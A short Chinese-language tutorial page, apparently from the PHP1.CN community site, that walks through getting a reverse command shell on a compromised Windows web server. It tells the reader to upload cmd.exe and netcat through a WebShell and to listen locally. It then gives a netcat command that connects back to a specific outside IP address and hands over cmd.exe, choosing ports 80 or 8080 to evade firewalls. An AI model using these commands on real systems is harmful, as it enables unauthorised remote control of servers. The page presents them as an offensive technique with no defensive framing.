当前位置:  首页  >  服务器技术  >  Linux/unix  >  Linux教程

NC反弹Cmdshell

前提:1.能用WebShell运行cmd命令。方法有很多,首先是WScript.Shell,如果被改名或者被删了,就找可运行目录上传cmd.exe。2.上传nc。可以跟cmd.exe上传到同一目录。步骤:现在本地监听一个端口。nc-vv-l-p8080最好是80或8080这样的端口,被防火

前提:
1.能用WebShell运行cmd命令
方法有很多,首先是WScript.Shell,如果被改名或者被删了,就找可运行目录上传cmd.exe。

2.上传nc。可以跟cmd.exe上传到同一目录。

步骤:
现在本地监听一个端口。

nc -vv -l -p 8080

最好是80或8080这样的端口,被防火墙拦截的几率小很多。我机器80被Apache占了,就用8080了。

在WebShell运行下面命令连接我们监听的端口得到CmdShell:

nc -vv 222.71.138.177 8080 -e C:\Documents and Settings\All Users\Documents\cmd.exe

(假设cmd.exe是上传在“C:\Documents and Settings\All Users\Documents\”这个目录的)
稍等片刻,不出意外的话就可以得到CmdShell了。

不过我前面也说了,是低权限的CmdShell,能做的事情很少,但如果我们要运行很多cmd命令的话,还是要方便很多。
如果要在反弹的CmdShell里面运行上传的程序,要用如下个格式:

C:\WINDOWS\system32\inetsrv>"C:\Documents and Settings\All Users\Documents\cmd.exe"

吐了个 "CAO" !
扫码关注 PHP1 官方微信号
PHP1.CN | 中国最专业的PHP中文社区 | PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | PHP问答
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved PHP1.CN 第一PHP社区 版权所有